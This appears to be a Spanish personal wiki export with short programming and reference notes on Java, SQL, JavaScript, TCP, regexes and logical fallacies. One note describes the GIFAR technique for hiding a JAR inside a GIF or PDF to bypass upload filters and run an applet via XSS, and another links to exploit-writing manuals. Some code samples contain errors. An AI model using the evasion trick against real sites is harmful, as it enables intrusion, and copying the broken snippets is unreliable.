| {{{õ }}} |small o, tilde | {{{&otilde;}}} | {{{&#245;}}} |
| {{{ö }}} |small o, umlaut mark | {{{&ouml;}}} | {{{&#246;}}} |
| {{{ø }}} |small o, slash | {{{&oslash;}}} | {{{&#248;}}} |
| {{{ù }}} |small u, grave accent | {{{&ugrave;}}} | {{{&#249;}}} |
| {{{ú }}} |small u, acute accent | {{{&uacute;}}} | {{{&#250;}}} |
| {{{û }}} |small u, circumflex accent | {{{&ucirc;}}} | {{{&#251;}}} |
| {{{ü }}} |small u, umlaut mark | {{{&uuml;}}} | {{{&#252;}}} |
| {{{ý }}} |small y, acute accent | {{{&yacute;}}} | {{{&#253;}}} |
| {{{þ }}} |small thorn, Icelandic | {{{&thorn;}}} | {{{&#254;}}} |
| {{{ÿ }}} |small y, umlaut mark | {{{&yuml;}}} | {{{&#255;}}} |
</part>     
! Referecias
* http://www.lookuptables.com/
* http://w3schools.com/tags/ref_entities.asp
<<showtoc>>
! Descripción
<part descripcion>
Información sobre Erlang
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Erlang
* Página principal: http://www.erlang.org/
* Learn You Some Erlang for Great Good!: http://learnyousomeerlang.com/content
* Libro anterior en versión EPUB: http://dl.dropbox.com/u/4663634/Learn%20You%20Some%20Erlang%20for%20Great%20Good%21.epub
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Yo y yo mismo. Ambos dos.
! Introducción
En [[Java]] hay una superclase abstracta para las imágenes llamada {{{java.awt.Image}}}. El problema es que muchas operaciones devuelven objetos de esta clase abstracta, pero para trabajar con ellos hay que convertirlos en {{{java.awt.image.BufferedImage}}}, que es una clase que extiende a la anterior.

! Solución
Para escalar un {{{BufferedImage}}} hay que hacerlo en las siguientes fases:
# Obtener una copia escalada de la imagen (de la clase {{{Image}}})
# Copiar la imagen escalada en un {{{BufferedImage}}}

!! Obtener la copia escalada
Una copia a escala de la imagen se obtiene mediante el método {{{Image Image.getScaledInstance(int ancho, int alto, int metodo_escalado);}}}. Los dos primeros parámetros son de significado evidente, el tercero puede ser uno de los siguientes:
* {{{Image.SCALE_DEFAULT}}}: Algoritmo por defecto de rendimiento intermedio
* {{{Image.SCALE_FAST}}}: Prima la velocidad sobre la calidad. La imagen puede parecer un poco "angulosa"
* {{{Image.SCALE_SMOOTH}}}: Prima la calidad sobre la velocidad. La imagen resultante está más suavizada
* {{{Image.SCALE_REPLICATE}}}: Llama a la instancia por defecto de {{{ReplicateScaleFilter}}}. La máquina virtual puede definir distintas implementaciones.
* {{{Image.SCALE_AREA_AVERAING}}}: Utiliza un algoritmo de promediado de área. En cada máquina virtual puede proveerse un algoritmo diferente.

Ejemplo que convierte una imagen a tamaño 200x300 usando el método por defecto:
<code java>
Image escalada = img.getScaledInstance(200, 300, Image.SCALE_DEFAULT);
</code>

!! Crear un """BufferImage""" a partir de un Image
Lo primero que hay que hacer es crear un nuevo objeto de clase {{{java.awt.image.BufferedImage}}} con las mismas dimensiones que el original. Una vez hecho esto, se pintan los datos de la imagen original sobre el nuevo {{{java.awt.image.BufferedImage}}}.

Ejemplo que crea un {{{BufferedImage}}} llamado {{{buffered}}} a partir una imagen llamada {{{img}}}:
<code java>
BufferedImage buffered = new BufferedImage(img.getWidth(null), img.getHeight(null), BufferedImage.TYPE_INT_RGB);
Graphics g = buffered.createGraphics();
g.drawImage(img, 0, 0, null);
g.dispose();
</code>

! Ejemplo completo
Método estático que realiza todas estas operaciones
<code java>
public static BufferedImage escalarImagen(BufferedImage buffered, int ancho, int alto) {
    Image img = buffered.getScaledInstance(ancho, alto, Image.SCALE_DEFAULT);
    
    BufferedImage buffered = new BufferedImage(img.getWidth(null), img.getHeight(null), BufferedImage.TYPE_INT_RGB);
    Graphics g = buffered.createGraphics();
    g.drawImage(img, 0, 0, null);
    g.dispose();
    
    return buffered;
}
</code>
! Introducción
<part introducción>
Cuando un cliente quiere iniciar una conexión TCP con un servidor, envía un paquete con el flag SYN (S) activo. El otro ordenador devuelve otro paquete con los flags ACK y SYN activados (SA). Cuando el primero recibe esta respuesta manda otro paquete con el bit ACK (A) activo y la conexión queda iniciada.
</part>
<part esquema>
{{{
CLIENTE       SERVIDOR
   |             |
  SYN ---------->|
   |             |
   |<-------- SYN-ACK
   |             |
  ACK ---------->|
   |             |

conexion establecida
}}}
</part>
! Referecias
* http://es.wikipedia.org/wiki/Transmission_Control_Protocol#Establecimiento_de_la_conexi.C3.B3n_.28negociaci.C3.B3n_en_tres_pasos.29
<<showtoc>>
! Descripción
<part descripcion>
Según la [[wikipedia|http://es.wikipedia.org/wiki/Estad%C3%ADstica]]: //"La estadística es una ciencia referente a la recolección, análisis e interpretación de datos, ya sea para ayudar en la resolución de la toma de decisiones o para explicar condiciones regulares o irregulares de algún fenómeno o estudio aplicado, de ocurrencia en forma aleatoria o condicional."//
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Estad%C3%ADstica
* Categoría de artículos: http://es.wikipedia.org/wiki/Categor%C3%ADa:Estad%C3%ADstica

!! Artículos y cursos
* Estadística en monografias.com: http://www.monografias.com/trabajos15/estadistica/estadistica.shtml
* Curso completo de estadística y probabilidad: http://www.aulafacil.com/CursoEstadistica/CursoEstadistica.htm
* Estadística para todos: http://www.estadisticaparatodos.es/
* Introducción a la estadística bayesiana: http://sisbib.unmsm.edu.pe/bibvirtualdata/Tesis/Basic/yupanqui_pr/capitulo4.PDF

!! Libros
* Thik Stats, Probability and Statistics for Programmers: http://www.greenteapress.com/thinkstats/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
La esteganografía es técnica de ocultar un mensaje dentro de otro.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Esteganograf%C3%ADa
* Ocultar un JAR en un GIF: http://www.pentester.es/2010/03/gifar-otro-steganograpy-trick.html
* Artículo del INTECO: http://www.inteco.es/Seguridad/Observatorio/Estudios_e_Informes/Notas_y_Articulos/Esteganografia_el_arte_de_ocultar_informacion
* Indroducción a la estanografía: http://www.securityartwork.es/2010/04/15/introduccion-a-la-esteganografia-i
* Recopilación de herramientas: http://hackplayers.blogspot.com/2011/12/recopilatorio-de-herramientas-de.html

!! Esteganografía aplicada a redes
* Técnica Covert Channels: http://www.securityartwork.es/2010/10/26/covert-channels

!! Esteganografía sobre archivos de audio
* Ocultando información en un MP3: http://www.cyberhades.com/2009/11/28/ocultando-informacion-en-un-mp3/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
La [[Esteganografía]] permite esconder un mensaje dentro de otro. El uso clásico ha sido el de ocultar mensajes con contenido sensible, para que la información contenida no cayera en manos no deseadas. No obstante hay otros usos más "creativos" como esconder código malicioso en ficheros aparentemente inócuos o superar ciertas barreras de seguridad.

! GIF con JAR de regalo
Los ficheros GIF tienen una cabecera al comienzo del fichero con metadatos que hacen que el visor pueda interpretar correctamente los datos que contiene. Por contra, los ficheros JAR incorporan los metadatos al final del fichero. Esto quiere decir que si concatenamos el contenido de un JAR al final de un fichero GIF, al intentar visualizar la imagen lo hará sin problemas, pero en otro contexto, como por ejemplo la carga de un applet en un navegador web, comenzará a leer la cabecera JAR al final del archivo, y ejecutará el applet sin problemas.

¿Para que puede ser útil? Muy sencillo, imaginemos que los encargados de la seguridad de un sitio web han sido inteligentes y han decidido permitir la subida de imágenes pero no de archivos JAR, para evitar la introducción de código malicioso. Ya se realice la detección mediante extensión del fichero o por los metadatos del encabezado, el archivo malicioso será reconocido como un gif válido. ¡Incluso aunque un administrador lo revisara manualmente sólo vería una imagen .gif! Podría incluso ponerse como firma o avatar en un foro y mediante XSS o inyección html forzar la ejecución del applet en el navegador de cualquier víctima que entrase al foro.

El sistema funciona también con archivos PDF con un JAR adjunto, siendo esto incluso más interesante, dado que un PDF puede contener enlaces y código JavaScript que ayudaría a la hora de engañar al usuario. Incluso puede emplearse google docs para distribuir el PDF y servir el fichero peligroso desde una URL aparentemente inocua.

! Referencias
* http://www.pentester.es/2010/03/gifar-otro-steganograpy-trick.html
* http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/
! Instrucciones condicionales
Oracle permite utilizar instrucciones condicionales en las sentencias SQL, sin necesidad de tener que embeber código ejecutable o utilizar PL/SQL. Las instrucciones condicionales son muy útiles para sustituir un valor por otro en un  {{{SELECT}}}. El ejemplo típico sería sustituir un código de provincia por el nombre de la misma.

Las siguientes construcciones equivalen todas ellas a un árbol de {{{IF}}} en PL/SQL como el siguiente:
<code sql>
IF columna = valor1 THEN
    resultado := sustitucion1;
ELSIF columna = valor2 THEN
    resultado := sustitucion2;
ELSIF columna = valorN THEN
    resultado := sustitucionN;
ELSE
    resultado := sustitucionDefecto
ENDIF;
</code>

! Función DECODE
Es la construcción más antigua y compacta, pero también la más anti-intuitiva y difícil de leer. A esta función se le pasa un parámetro al principio, que será la columna cuyo valor se usará para realizar las comparaciones ({{{columna }}} en el ejemplo del {{{IF}}}) y los valores y sus sustituciones se pasan en parejas. El último parámetro, si se suministra, será el valor de sustitución por defecto. El ejemplo del {{{IF}}} queda de la siguiente manera:
<code sql>
SELECT DECODE(columna,
    valor1, sustitucion1,
    valor2, sustitucion2,
    valorN, sustitucionN,
    sustitucionDefecto) as col_decode
FROM tabla;
</code>

! Construcción CASE
La construcción {{{CASE}}} es más completa, legible y elegante, y permite utilizar operaciones lógicas más complejas que la mera comparación de valores. Esta construcción se presenta de dos maneras, una que sólo permite usar el operador de igualdad en las comparaciones y sirve como sustituto directo de {{{DECODE}}}, y otra que permite utilizar cualquier expresión lógica para calcular el valor de sustitución.

!! CASE con operador de igualdad inplícito
Esta es la versión sencilla.
<code sql>
SELECT CASE columna
        WHEN valor1 THEN sustitucion1
        WHEN valor2 THEN sustitucion2
        WHEN valorN THEN sustitucionN
        ELSE sustitucionDefecto
    END as col_case
FROM tabla;
</code>

!! CASE con expresión lógica arbitraria
Con esta versión se puede utilizar cualquier expresión lógica. Nótese que se utilizar operadores lógicos sólo para demostrar que no es necesario utilizar unicamente el de igualdad, pero cualquier expresión lógica, incluso una que no utilice {{{columna}}}, será válida.
<code sql>
SELECT
    CASE
        WHEN columna < valor1 THEN sustitucion1
        WHEN columna <> valor2 THEN sustitucion2
        WHEN columna > valorN THEN sustitucionN
        ELSE sustitucionDefecto
    END as col_case
FROM tabla;
</code>

! Uso de condicionales con GROUP BY
Al usar una de estas construcciones combinada con un {{{GROUP BY}}} hay que tener el cuenta que el campo que se debe utilizar no es el alias de la expresión (en estos ejemplos {{{col_case}}} y {{{col_decode}}}, si no la columna que se utiliza para realizar la sustitución (en los ejemplos {{{columna}}}). Ejemplo:
<code sql>
SELECT
    CASE
        WHEN columna < valor1 THEN sustitucion1
        WHEN columna <> valor2 THEN sustitucion2
        WHEN columna > valorN THEN sustitucionN
        ELSE sustitucionDefecto
    END as col_case
FROM tabla
GROUP BY columna;
</code>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre estructuras de datos: grafos, árboles, TADs, bases de datos, etc.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Estructura_de_datos
* Estructuras de datos en [[Java]]: http://www.programacion.com/articulo/estructuras_de_datos_y_algoritmos_en_java_309

!! Árboles
* Árboles binarios: http://en.wikipedia.org/wiki/Binary_tree
* Árboles binarios balanceados: http://en.wikipedia.org/wiki/Self-balancing_binary_search_tree
* B-árboles: http://en.wikipedia.org/wiki/B-tree
* Trie (pseudo-árboles): http://en.wikipedia.org/wiki/Trie
* Árboles de espaciado binario (BSP): http://en.wikipedia.org/wiki/Binary_space_partitioning
* Árboles exponenciales: http://en.wikipedia.org/wiki/Exponential_tree
* Árbol de intervalos: http://en.wikipedia.org/wiki/Interval_tree
* Árbol PQ: http://en.wikipedia.org/wiki/PQ_tree
* Árbol de rangos: http://en.wikipedia.org/wiki/Range_tree
* Árbol SPQR: http://en.wikipedia.org/wiki/SPQR_tree
* Árbol BK: http://en.wikipedia.org/wiki/BK-tree
* Heap (montón): http://en.wikipedia.org/wiki/Heap_%28data_structure%29
* Árbol de hash: http://en.wikipedia.org/wiki/Hash_tree

* Indexado espacial: http://en.wikipedia.org/wiki/Spatial_index

!! Hashes
* Geohash: http://en.wikipedia.org/wiki/Geohash

!! Artículos varios
* Geohashing y curvas de Hilbert: http://blog.notdot.net/2009/11/Damn-Cool-Algorithms-Spatial-indexing-with-Quadtrees-and-Hilbert-Curves
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
La forma usual de usar eventos en JavaScript es especificar código javascript para la propiedad "onNombreEvento" de un elemento HTML. Esto es poco flexible, ya que sólo permite un manejador de eventos por tipo de evento.

DOM especifica una nueva forma usar los eventos, mucho más avanzada y completa, y permite definir y añadir los eventos una vez que se ha cargado toda la página.

! Diferencia con el método clásico
A diferencia del método clásico en el que los eventos se definen en propiedades de las etiquetas [[HTML]], este método es 100% JavaScript. Consiste en utilizar una función común a todos los elementos del DOM para que se llame a la función que se especifica cada vez que se de el evento. Como puede verse, es una implementación del patrón Observer en el DOM.

Para poder utilizar este sistema de manejo de eventos necesitamos los siguientes elementos:
* Un navegador que soporte JavaScript y que sea suficientemente moderno
* Un elemento del DOM (por ejemplo, un input o un div) con un evento que deseemos utilizar
* Una función con un parámetro que se ejecutará en el momento que se produzca el evento

! Diferencias entre navegadores
Hay que tener en cuenta que Internet Explorer va a su bola (como siempre) y cambia el nombre de la "función mágica". En los navegadores que se adhieren al W3C es
<code javascript>
elemento.addEventListener("nombreEvento", funcion, true/false);
</code>
y en iexplorer es 
<code javascript>
elemento.attachEvent("nombreEvento", funcion);
</code>
Se puede distinguir el sistema en uso de forma sencilla:
<code javascript>
if (document.addEventListener){
    alert("eventos a lo W3C");
else if(document.attachEvent){
    alert("Eventos a lo iexplorer");
}else{
    alert("Eventos avanzados no soportados. ¿JavaScript está desactivado?");
}
</code>

! Uso del {{{this}}}
Dentro del manejador de eventos, {{{this}}} hace referencia a la etiqueta html (elemento del DOM) cuyo evento se está monitorizando, por lo que resulta muy útil para modificar el elemento cuando ocurra un evento.

! Ejemplo práctico
Suponiendo que {{{load()}}} es una función que se llama en el {{{onload}}} del body, el siguiente código introducirá un manejador para poner en mayúsculas todos los {{{<input type="text" />}}}
<code javascript>
function upper(){
    this.value = this.value.toUpperCase();
}

function load(){       
    for (var elmt in document.getElementsByTagName("input")){
        var element = document.forms[0].elements[elmt];
        //console.log("Testeando "+element.id+", Tipo: "+element.type);
        if (element.type == "text"){
            console.log("Campo de texto encontrado: "+element.name);
            element.onblur = upper;
            element.onkeyup = upper;
        }
    }
}
</code>


! Referencias
* https://developer.mozilla.org/en/DOM/element.addEventListener
* http://www.quirksmode.org/js/events_advanced.html
* http://www.howtocreate.co.uk/tutorials/javascript/domevents
* http://www.javascriptkit.com/dhtmltutors/domevent1.shtml
* http://v3.thewatchmakerproject.com/journal/168/javascript-the-dom-addeventlistener-and-attachevent
!El problema
Al hacer reports e informes con datos de tipo porcentajes o ratios, puede ser que algunos de los denominadorse de las divisiones sean ceros. Si la consulta es sencilla, se puede comprobar el denominador con alguna sentencia condicional, como un {{{CASE}}} o similares. Pero, ¿que pasa si la consulta es compleja y tiene muchas sentencias {{{UNION}}}? ¿Se pone un {{{CASE}}} por cada una de ellas?

Un ejemplo de consulta problemática sería el siguiente:
<code sql>
SELECT 
distinct tipo, sum(precio), sum(existencias), sum(precio) / sum(existencias) as "valor medio"
FROM  productos WHERE tipo = 1
UNION
SELECT 
distinct tipo, sum(precio), sum(existencias), sum(precio) / sum(existencias) as "valor medio"
FROM  productos WHERE tipo = 2
UNION
SELECT 
distinct tipo, sum(precio), sum(existencias), sum(precio) / sum(existencias) as "valor medio"
FROM  productos WHERE tipo = 3
...
UNION
SELECT 
distinct tipo, sum(precio), sum(existencias), sum(precio) / sum(existencias) as "valor medio"
FROM  productos WHERE tipo = 'N'
/
</code>
¿Que pasa si no hay existencias de un tipo? Que se produce la excepción antes comentada.

!La solución
[[PL/SQL]] permite manejar excepciones, como por ejemplo, la división por cero. En vez de usar el operador de división directamente, se puede hacer una pequeña función en PL/SQL que controle la excepción y devuelva el resultado si no hay división por cero, u otro valor (como un cero o un {{{null}}}) si se produce algún problema. Ejemplo:
<code sql>
CREATE OR REPLACE FUNCTION DIVISION_SEGURA (
    numerador   IN NUMBER,  -- Numerador de la división
    denominador IN NUMBER   -- Denominador de la división
)
    RETURN NUMBER
IS
    resultado NUMBER;
BEGIN
    resultado := numerador / denominador;

    RETURN resultado;
    EXCEPTION
    WHEN ZERO_DIVIDE THEN  -- Excepcion lanzada cuando se produce la division por cero
        RETURN 0;          -- Valor devuelto en caso de division por cero
    WHEN OTHERS THEN
        RAISE;
END DIVISION_SEGURA;
/
</code>
En este ejemplo, devuelve cero cuando se produce la división por cero, pero se podría cambiar por cualquier otro valor, e incluso pasar un tercer argumento que fuera el valor por defecto en caso de excepción.

El ejemplo anterior quedaría así:
<code sql>
SELECT 
distinct tipo, sum(precio), sum(existencias), DIVISION_SEGURA(sum(precio), sum(existencias)) as "valor medio"
FROM  productos WHERE tipo = 1
UNION
SELECT 
distinct tipo, sum(precio), sum(existencias), DIVISION_SEGURA(sum(precio), sum(existencias))) as "valor medio"
FROM  productos WHERE tipo = 2
UNION
SELECT 
distinct tipo, sum(precio), sum(existencias), DIVISION_SEGURA(sum(precio), sum(existencias))) as "valor medio"
FROM  productos WHERE tipo = 3
...
UNION
SELECT 
distinct tipo, sum(precio), sum(existencias), DIVISION_SEGURA(sum(precio), sum(existencias))) as "valor medio"
FROM  productos WHERE tipo = 'N'
/
</code>
Ahora si no hay existencias de un tipo, simplemente se mostrará un cero.
!Descripción
<part descripcion>
Experimentos científicos y didáticos
</part>
<<showtoc>>
!Enlaces
<part enlaces>
!! Experimentos científicos didácticos
* Dangereously fun: http://dangerouslyfun.com/

!! Experimentos útiles
* Maker Wiki: http://www.makerwiki.com/index.php/Portada
* Instructables: http://www.instructables.com/
* Como hacer: http://www.comohacer.eu
* Crealo tu mismo: http://www.crealotumismo.com/
* Todo tutoriales: http://www.todotutoriales.es/

!! Experimentos, curiosidades, etc
* Ikkaro, experimentos y curiosidades: http://www.ikkaro.com/
* Green Power Science: http://www.greenpowerscience.com/
* El laboratorio loco: http://ellaboratorioloco.wordpress.com

!! Experimentos brutos
* Information Unlimited: http://www.amazing1.com/emp.htm

!! Tematicos
!!! Cohetes de agua
* Cohete de agua simple: http://www.makerwiki.com/index.php/Cohete_de_agua
* Cohetes de agua: http://ellaboratorioloco.wordpress.com/2006/04/06/los-cohetes-de-agua-de-500m-de-altura/
* Tutorial: http://usuarios.multimania.es/fisikito/cohete/construyamos.htm

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Experimentos con Tiddlywiki y sus plugins.

! Experimentos con Processing:
* Espiral: [[ProcessingTestEspiral]]
<<showtoc>>
! Descripción
<part descripcion>
En inglés "to exploit", consiste en el conjunto de técnicas que aprovechan fallos o vulnerabilidades de programas informáticos para tomar control de una computadora, o para interferir en su comportamiento.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia:http://es.wikipedia.org/wiki/Exploit
* Documentación del grupo Overflow Minds: http://www.overflowedminds.net/papers.php

!! Manuales y tutoriales
!!! Generales
* Manual en PDF de creación de exploits: http://www.dragonjar.org/manual-en-pdf-de-creacion-de-exploits-en-espanol.xhtml

!!! Buffer Overflow:
* Manual de buffer overflow en windows: http://foro.elhacker.net/hacking_avanzado/manual_buffer_overflow_en_windows-t283879.0.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Expresiones regulares
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Expresi%C3%B3n_regular
* Tutorial de expresiones regulares con [[Python]]: http://www.doughellmann.com/PyMOTW/re/
* Referencia de expresiones regulares: http://www.regular-expressions.info/reference.html
* Expresiones regulares recursivas: http://www.catonmat.net/blog/recursive-regular-expressions
!! Utilidades
* Text online de expresiones regulares: http://regexpal.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Colección de expresiones regulares de utilidad. En las siguientes páginas se pueden encontrar varios ejemplos interesantes:
* http://www.regular-expressions.info/examples.html
* http://regexlib.com/DisplayPatterns.aspx?cattabindex=0&categoryId=1

! Regexp
* Extraer URLs: {{{(http(s)?|ftp)://([\w+?\.\w+])+([a-zA-Z0-9\~\!\@\#\$\%\^\&amp;\*\(\)_\-\=\+\\\/\?\.\:\;\'\,]*)?}}}
* Extraer dirección email: {{{(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])}}}
/***
|Name:|ExtentTagButtonPlugin|
|Description:|Adds a New tiddler button in the tag drop down|
|Version:|3.2 ($Rev: 3861 $)|
|Date:|$Date: 2008-03-08 10:53:09 +1000 (Sat, 08 Mar 2008) $|
|Source:|http://mptw.tiddlyspot.com/#ExtendTagButtonPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{

window.onClickTag_mptw_orig = window.onClickTag;
window.onClickTag = function(e) {
	window.onClickTag_mptw_orig.apply(this,arguments);
	var tag = this.getAttribute("tag");
	var title = this.getAttribute("tiddler");
	// Thanks Saq, you're a genius :)
	var popup = Popup.stack[Popup.stack.length-1].popup;
	createTiddlyElement(createTiddlyElement(popup,"li",null,"listBreak"),"div");
	wikify("<<newTiddler label:'New tiddler' tag:'"+tag+"'>>",createTiddlyElement(popup,"li"));
	return false;
}

//}}}
Siglas de Frecuently Asked Questions. En castellano se lo conoce como preguntas frecuentes.

Es tipo de documento que refleja las preguntas más habituales que se hacen generalmente a servicios técnicos, y a continuación la solución más habitual para la citada pregunta.
//Véase// [[FAQ]]
<<showtoc>>
! Introducción
Según la [[RAE|http://buscon.rae.es/draeI/SrvltConsulta?TIPO_BUS=3&LEMA=falacia]], la falacia se define como:
<<<
1. f. Engaño, fraude o mentira con que se intenta dañar a alguien.
2. f. Hábito de emplear falsedades en daño ajeno.
<<<
Las falacias en el sentido puramente lógico son "trampas" para extraer una conclusión que no puede inferirse de las premisas usando las reglas de inferencia permitidas.

Así pues, en el ámbito de las relaciones humanas, las falacias son razonamientos aparentemente correctos, pero falsos en su esencia. Normalmente se utilizan en debates y discusiones por parte de un participante taimado, con el fin de imponer su conclusión a los demás participantes mediante argucias, pero sin reglas lógicas válidas.

A continuación se mostrarán los principales tipos de falacias con ejemplos ilustrativos. Se dividen en dos grupos, las falacias clásicas y las nuevas falacias.

El primer grupo son falacias ámpliamente estudiadas por diversos filósofos a lo largo de la historia, pero no por ello menos utilizadas.

El segundo son nuevos métodos falaces utilizados principalmente en Internet, algunos de ellos evidentemente informales o jocosos. Este segundo grupo no debe tomarse en serio y sirve al lector como ejercicio para compararlo con las falacias clásicas y, por qué no, divertirse un poco.

!! Nomenclatura
Se intentarán utilizar símbolos de la lógica proposicional siempre que sea posible, para describir las falacias sin atisbo de duda

|!Descripcion

! Falacias clásicas
Las falacias clásicas se pueden dividir en dos grandes subgrupos: las falacias lógicas demostrables mediante aplicación de reglas de inferencia, y las falacias no formales basadas principalmente en ataques personales y trucos psicológicos.

!! Falacias lógicas
!!! Falacias formales o sofismas
!!!! Argumento de la falacia o ad logicam
* ''Falacia:'' Si las premisas son inválidas, la conclusión tiene que serlo.
* ''Explicación:'' El razonamiento es incorrecto porque la conclusión puede ser correcta por puro azar.
* ''Ejemplo:'' //"No salimos volando porque la tierra es plana"//. Aunque la premisa sea incorrecta, es cierto que no salimos volando.

!!!! Confirmación sistemática o afirmación de la consecuencia
* ''Falacia:'' (X->Y; Y->X) Si X es cierto, entonces se da Y. Si Y es cierto entonces se da X.
* ''Explicación:'' Es una aplicación errónea de la regla de implicación "si... entonces...". No se pueden invertir las causas y las consecuencias.
* ''Ejemplo:'' //"Cuando llueve hay nubes. Hoy hay nubes, así que lloverá"//. No tiene por qué, puede haber nubes y no llover.

!!!! Negación del antecedente o implicación vacua
* ''Falacia:'' Si X es cierto, entonces se da Y. Si X es falso, entonces no se puede dar Y.
* ''Explicación:'' 
* ''Ejemplo:'' 

!!! Generalización de inducción errónea

!!! Causa informal o causa cuestionable

!!! Falacias informales o paralogismos

!! Falacias no formales

! Neofalacias
!! Nombre falacia
!!!! Nombre
* ''Falacia:'' 
* ''Explicación:'' 
* ''Ejemplo:'' 

! Referencias
* http://es.wikipedia.org/wiki/Falacia
* http://buscon.rae.es/draeI/SrvltConsulta?TIPO_BUS=3&LEMA=falacia
* http://vicisitudysordidez.blogspot.com/2010/09/el-post-epico-sobre-las-falacias.html
* http://vicisitudysordidez.blogspot.com/2010/11/el-post-epico-de-las-falacias-logicas.html
<<showtoc>>
! Descripción
<part descripcion>
Información sobre la familia C: ANSI C, C++ y C# principalmente
</part>
! Enlaces
<part enlaces>
!! General
* Artículos de la Wikipedia: http://es.wikipedia.org/wiki/Categor%C3%ADa:Lenguaje_de_programaci%C3%B3n_C
* Diferencias entre C y C++: http://www.differencebetween.co.in/programming/difference-between-c-and-cplusplus/

!! Compiladores
* GNU C Compiler Collection (wikipedia): http://en.wikipedia.org/wiki/GNU_Compiler_Collection
* GNU C Compiler Collection (homepage): http://gcc.gnu.org/
* Clang (wikipedia): http://en.wikipedia.org/wiki/Clang
* Clang (homepage): http://clang.llvm.org/
* Visual C++ (wikipedia): http://en.wikipedia.org/wiki/Visual_C%2B%2B
* Visual C++ (homepage): http://msdn.microsoft.com/en-us/visualc/default.aspx
* Intel C++ Compiler (wikipedia): http://en.wikipedia.org/wiki/Intel_C%2B%2B_Compiler
* Intel C++ Compiler (homepage): http://software.intel.com/en-us/articles/intel-compilers/
* Turbo C++ (Wikipedia): http://en.wikipedia.org/wiki/Turbo_C%2B%2B
* Turbo C++ (homepage): http://www.turboexplorer.com/
* Turbo C++ (descarga): http://edn.embarcadero.com/article/21751

!! Herramientas
!!! Construcción
* Configurando proyectos con cMake: http://www.genbetadev.com/herramientas/configurando-proyectos-multiplataforma-facilmente-con-cmake

!! Buenas prácticas y seguridad en C y C++
* Validating C and C++ for Safety and Security: http://www.ddj.com/article/printableArticle.jhtml?articleID=184402075&dept_url=/cpp/
* Wide-Character Format String Vulnerabilities: http://www.ddj.com/article/printableArticle.jhtml?articleID=184406350&dept_url=/cpp/
* Decoupling C Header Files: http://www.ddj.com/article/printableArticle.jhtml?articleID=212701130&dept_url=/cpp/
* Uso de {{{volatile}}}: http://www.ddj.com/article/printableArticle.jhtml?articleID=212701484&dept_url=/cpp/
* Logging: http://www.ddj.com/article/printableArticle.jhtml;jsessionid=T5NLJPKTVMOA3QE1GHOSKH4ATMY32JVN?articleID=212902973&dept_url=/cpp/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Ficheros en memoria con Java^^[[<editar>|$1]]^^
A veces es necesario usar ficheros temporales para datos que no existen físicamente. En vez de escribir en un directorio temporal y después borrarlos, se pueden crear ficheros en memoria mucho más rápidos:
<code java>
File = new File("abc");
FileChannel rwChannel = new RandomAccessFile(file, "rw").getChannel();
ByteBuffer writeonlybuffer = rwChannel.map(
    FileChannel.MapMode.READ_WRITE, 0, (int)rwChannel.size());
</code>

http://www.java-tips.org/java-se-tips/java.nio/how-to-create-a-memory-mapped-file-3.html
<<showtoc>>
!Descripción
<part descripcion>
Filosofía significa en griego clásico "amor por la sabiduría". Es la disciplina que estudia el conocimiento, la verdad, la moral, la belleza, la mente y el lenguaje.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Filosof%C3%ADa
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
